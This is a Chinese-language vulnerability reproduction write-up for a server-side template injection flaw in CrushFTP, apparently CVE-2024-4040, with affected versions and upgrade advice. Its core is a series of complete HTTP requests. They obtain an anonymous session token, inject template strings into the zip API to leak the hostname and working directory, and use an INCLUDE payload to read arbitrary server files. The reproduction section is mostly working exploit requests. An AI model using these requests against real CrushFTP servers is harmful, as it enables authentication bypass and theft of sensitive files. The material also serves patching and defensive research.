1.漏洞描述

CrushFTP是由CrushFTP LLC开发的文件传输服务器软件。CrushFTP的主要用途是提供安全、可靠的文件传输服务。它允许用户通过多种协议(如FTP、SFTP、HTTP、WebDAV等)安全地上传、下载和管理文件。CrushFTP提供了许多安全特性,包括SSL/TLS加密、用户认证、目录权限控制等。CrushFTP被广泛用于企业、教育机构和个人用户之间安全地传输文件。

由于CrushFTP 存在服务器端模板注入漏洞,未经身份验证的远程攻击者可以逃避虚拟文件系统(VFS)沙箱,绕过身份验证获得管理访问权限,泄露敏感信息或执行代码

影响版本

CrushFTP v10 < 10.7.1

CrushFTP v11 < 11.1.0

CrushFTP v7、v8、v9全版本

2.漏洞复现

1.为了与 API 交互,我们需要以 匿名用户身份进行无权限会话。根据 CrushFTP 安全设计,可以通过对带有 /WebInterface 前缀的任何页面执行未经身份验证的请求来访问此伪用户角色的会话令牌。在这种情况下,我们将从该端点的 404 页面获取令牌。

GET /WebInterface/ HTTP/1.1

Host: 

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

Priority: u=0, i

Connection: close

2.如上所述,为 匿名用户返回 CrushAuth 令牌。现在应该可以访问由 ServerSessionAJAX 实现的 API。我们将通过调用 API 功能来确认我们无权访问: zip 函数。如果匿名令牌有效,我们应该收到访问被拒绝的消息,而不是“找不到所选资源”。

POST /WebInterface/function/?c2f=mq0f&command=zip&path=%7Bhostname%7D&names=/a HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Cookie: CrushAuth=1714198953639_6IT8tgJ29xkHwuWVLshEAZmmCGmq0f; currentAuth=mq0f
Content-Length: 0

可以看到能够使用新创建的 anonymous 令牌访问 ServerSessionAJAX 中任何未经身份验证的功能

如果攻击者可以在 API 响应中的 %% 或 {} 中获取自己的数据,那么服务器似乎会评估注入并填充攻击者提供的模板。

通过将在“拒绝访问”消息中打印的参数之一注入 {hostname} 模板注入字符串

POST /WebInterface/function/?c2f=mq0f&command=zip&path=%7Bworking_dir%7D&names=/a HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Cookie: CrushAuth=1714198953639_6IT8tgJ29xkHwuWVLshEAZmmCGmq0f; currentAuth=mq0f
Content-Length: 0

可以看到返回包存在工作目录

进行任意文件读取

POST /WebInterface/function/?c2f=mq0f&command=zip&path=%3CINCLUDE%3EC://windows/win.ini%3C/INCLUDE%3E&names=/a HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Cookie: CrushAuth=1714198953639_6IT8tgJ29xkHwuWVLshEAZmmCGmq0f; currentAuth=mq0f
Content-Length: 0

3.漏洞修复

目前官方已有可更新版本,建议受影响用户升级至最新版本:

CrushFTP v10 >= 10.7.1

CrushFTP v11 >= 11.1.0

参考链接:

https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis

下载地址:

https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update